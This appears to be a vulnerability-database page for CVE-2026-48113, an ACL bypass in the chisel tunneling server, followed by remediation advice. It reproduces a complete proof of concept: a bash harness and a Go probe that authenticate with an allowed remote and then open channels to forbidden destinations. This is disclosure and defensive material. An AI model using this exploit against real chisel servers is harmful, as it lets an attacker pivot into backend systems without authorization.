Chisel CVE-2026-48113
HIGHSeverity by source
Authenticated client (PR:L) over network (AV:N, AC:L, UI:N) pivots through chisel to other systems, so scope changes (S:C) with high confidentiality/integrity impact on backend services and limited availability impact.
Lifecycle Timeline
2DescriptionCVE.org
Summary
Authenticated chisel clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any host:port it wants.
Details
The chisel server validates user ACLs in two places but is missing validation in one of the important places.
The server/server_handler.go checks the ACL, during the initial config handshake:
for _, r := range c.Remotes {
if user != nil {
addr := r.UserAddr()
if !user.HasAccess(addr) {
failed(s.Errorf("access to '%s' denied", addr))
return
}
}
}
r.Reply(true, nil)This validates the declared remote list from the client's config request. It runs once, at connection setup. But in share/tunnel/tunnel_out_ssh.go ACL aren't being checked, when the server processes actual traffic channels:
func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {
remote := string(ch.ExtraData()) // client-controlled
hostPort, proto := settings.L4Proto(remote)
sshChan, reqs, err := ch.Accept() // accepted unconditionally
// ...
err = t.handleTCP(l, stream, hostPort) // dials whatever client said
}
func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {
dst, err := net.Dial("tcp", hostPort) // no ACL check
// ...
}The tunnel.Config struct has no User field, no allowed-address list, and no ACL callback. The user context from server_handler.go is never propagated to the tunnel layer:
type Config struct {
*cio.Logger
Inbound bool
Outbound bool
Socks bool
KeepAlive time.Duration
// ------- No User, no AllowedRemotes, no ACL
}Since ch.ExtraData() is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.
PoC
Directory structure format:
poc
├── poc.sh
└── probe
├── go.mod
├── go.sum
└── main.gopoc.sh
#!/usr/bin/env bash
# Requires: Go, nc (netcat)
set -euo pipefail
DIR="$(cd "$(dirname "$0")" && pwd)"
REPO="$DIR/.."
freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; }
cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; }
trap cleanup EXIT
# Build
echo "[*] Building..."
(cd "$REPO" && go build -o /tmp/_chisel .)
(cd "$DIR/probe" && go build -o /tmp/_probe .)
# Ports
SP=$(freeport); AP=$(freeport); BP=$(freeport)
echo "[*] Server :$SP Allowed :$AP Blocked :$BP"
# Authfile - user:pass may only reach 127.0.0.1:$AP
AUTH=$(mktemp)
printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH"
# Start forbidden-target listener and chisel server
(echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$!
/tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$!
sleep 1
# Exploit
CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probemain.go
// Chisel ACL bypass probe. Authenticates with an allowed remote,
// then opens an SSH channel to a forbidden destination via ExtraData.
package main
import (
"encoding/json"
"fmt"
"net"
"net/http"
"os"
"time"
"github.com/gorilla/websocket"
"github.com/jpillora/chisel/share/cnet"
"github.com/jpillora/chisel/share/settings"
"golang.org/x/crypto/ssh"
)
func main() {
server := os.Getenv("CHISEL_SERVER")
allowed := os.Getenv("ALLOWED_PORT")
blocked := os.Getenv("BLOCKED_PORT")
// WebSocket → net.Conn
ws, _, err := (&websocket.Dialer{
HandshakeTimeout: 5 * time.Second,
Subprotocols: []string{"chisel-v3"},
}).Dial("ws://"+server, http.Header{})
check(err, "ws dial")
conn := cnet.NewWebSocketConn(ws)
// SSH handshake
sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{
User: "user",
Auth: []ssh.AuthMethod{ssh.Password("pass")},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
})
check(err, "ssh")
go ssh.DiscardRequests(reqs)
go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }()
// Send config with only the allowed remote
r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed))
cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}})
ok, reply, err := sc.SendRequest("config", true, cfg)
check(err, "config")
if !ok {
die("config rejected: %s", reply)
}
fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed)
// Open channel to BLOCKED destination
target := net.JoinHostPort("127.0.0.1", blocked)
ch, cr, err := sc.OpenChannel("chisel", []byte(target))
if err != nil {
fmt.Printf("[-] REJECTED - server refused %s\n", target)
os.Exit(1)
}
go ssh.DiscardRequests(cr)
fmt.Printf("[!] ACCEPTED - channel opened to %s\n", target)
// Read response from forbidden target
buf := make([]byte, 256)
done := make(chan int, 1)
go func() { n, _ := ch.Read(buf); done <- n }()
select {
case n := <-done:
if n > 0 {
fmt.Printf("[!] Data: %s\n", buf[:n])
}
case <-time.After(3 * time.Second):
}
fmt.Println("CONFIRMED - ACL bypass: server dialed unauthorized destination")
ch.Close()
sc.Close()
}
func check(err error, ctx string) {
if err != nil {
die("%s: %v", ctx, err)
}
}
func die(f string, a ...interface{}) {
fmt.Fprintf(os.Stderr, f+"\n", a...)
os.Exit(1)
}Impact
- Complete ACL bypass: The
--authfileaddress restrictions are enforceable only on paper - Authenticated users can reach any host/port the server process can dial
AnalysisAI
Authorization bypass in jpillora/chisel through version 1.11.4 allows any authenticated client to tunnel TCP traffic to arbitrary host:port destinations reachable from the chisel server, completely defeating the --authfile ACL. The server enforces remote-address restrictions only during the initial config handshake but never re-validates the destination encoded in SSH channel ExtraData, so a client that authenticates with a permitted remote can immediately open channels to any address. Publicly available exploit code exists (full PoC published in the GHSA advisory), though EPSS is low at 0.02% and the issue is not in CISA KEV.
Technical ContextAI
Chisel is a popular Go-based TCP/UDP-over-HTTP tunneling tool (pkg:go/github.com/jpillora/chisel) frequently used as a NAT-bypass or jump-host relay. Authenticated sessions run inside an SSH transport built on golang.org/x/crypto/ssh, and the server-side authfile maps each user to a regex list of allowed remote endpoints. The root cause is CWE-863 (Incorrect Authorization): server/server_handler.go validates user.HasAccess() against the declared Remotes list once during the config request, but share/tunnel/tunnel_out_ssh.go's handleSSHChannel takes the destination from ch.ExtraData() - fully client-controlled SSH channel payload - and calls net.Dial without consulting any ACL. The tunnel.Config struct has no User, AllowedRemotes, or ACL callback fields, so the authorization context from the handshake layer is never propagated to the tunneling layer where dialing actually happens.
RemediationAI
Vendor-released patch: upgrade jpillora/chisel server to 1.11.5 or later, which propagates the authenticated user context into the tunnel layer and enforces the authfile ACL on every SSH channel open rather than only at the config handshake; rebuild any container images, sidecars, or vendored Go modules that pin chisel <= 1.11.4 and roll restarts of all server processes. Where immediate upgrade is not possible, compensating controls include running each chisel server inside a network namespace, container, or firewall egress policy that explicitly whitelists only the destinations the ACL is supposed to permit (this duplicates ACL enforcement at the network layer but breaks legitimate multi-destination tunneling for that instance), rotating and shortening the lifetime of all authfile credentials to limit blast radius, and removing or disabling shared authfile entries used by lower-trust users until the patched binary is deployed. Refer to the GHSA-24fp-5v3p-rvpw advisory for the canonical fix reference.
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-24fp-5v3p-rvpw